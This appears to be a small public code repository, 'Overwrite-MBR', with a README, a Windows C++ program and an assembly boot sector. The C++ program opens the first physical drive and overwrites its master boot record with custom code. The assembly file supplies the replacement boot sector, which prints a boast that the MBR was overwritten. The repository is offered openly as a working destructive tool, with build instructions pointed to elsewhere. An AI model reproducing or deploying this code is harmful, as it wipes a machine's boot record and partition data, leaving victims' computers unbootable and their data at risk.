├── README.md ├── Source.cpp └── mbr-source.asm /README.md: -------------------------------------------------------------------------------- 1 | # Overwrite-MBR (16/02/2019) 2 | 3 | This is the full Project to overwrite MBR. If you ask its possible overwrite the message of MBR without visual studio (USE HXD), ~~"you can open my project, and overwrite your cutom message using hexadecimal editor like Hiew"~~ 4 | Bulid instructions on my channel. Your own responsability. 5 | 6 | 12/04/2021 My apologies, i was dumb and i couldn't write properly in english, i guess now it is fixed, and well, after use *Hiew*, instead use HxD, that's a trash program lol, and also the video itself sucks, i didn't know how to edit... But i think it is well explained. 7 | -------------------------------------------------------------------------------- /Source.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | // Edit 07/02/2020, chaneged the name file to "Source", and added the cpp extension. 4 | 5 | // Edit 01/01/2022, fixed shitty grammar from past 6 | 7 | const unsigned char MasterBootRecord[] = { /*your hex data goes here*/ }; 8 | 9 | int CALLBACK WinMain( 10 | HINSTANCE hInstance, HINSTANCE hPrevInstance, 11 | LPSTR lpCmdLine, int nCmdShow 12 | ) 13 | { 14 | // just open a handle to PhysicalDrive0, and we write our custom bootloader 15 | // https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilew 16 | DWORD dwBytesWritten; 17 | HANDLE hDevice = CreateFileW( 18 | L"\\\\.\\PhysicalDrive0", GENERIC_ALL, 19 | FILE_SHARE_READ | FILE_SHARE_WRITE, 0, 20 | OPEN_EXISTING, 0, 0); 21 | 22 | WriteFile(hDevice, MasterBootRecord, 512, &dwBytesWritten, 0); // write the file to the handle 23 | CloseHandle(hDevice); // close the handle 24 | } 25 | -------------------------------------------------------------------------------- /mbr-source.asm: -------------------------------------------------------------------------------- 1 | BITS 16 2 | ORG 0x7c00 3 | jmp start 4 | 5 | start: 6 | call clear_screen 7 | mov ax,cs 8 | mov ds,ax 9 | mov si,msg 10 | 11 | call print 12 | 13 | print: 14 | push ax 15 | cld 16 | next: 17 | mov al,[si] 18 | cmp al,0 19 | je done 20 | call printchar 21 | inc si 22 | jmp next 23 | done: 24 | jmp $ 25 | 26 | printchar: 27 | mov ah,0x0e 28 | int 0x10 29 | ret 30 | 31 | clear_screen: 32 | mov ah, 0x07 33 | mov al, 0x00 34 | mov bh, 0x09 35 | mov cx, 0x0000 36 | mov dx, 0x184f 37 | int 0x10 38 | ret 39 | 40 | msg: db "Okay Here is my tut of internet.",13,10,"so here you can se my project operative 100%.",13,10,"Yeah, MBR Overwrited :D", 0 41 | times 510 - ($-$$) db 0 42 | dw 0xaa55 43 | --------------------------------------------------------------------------------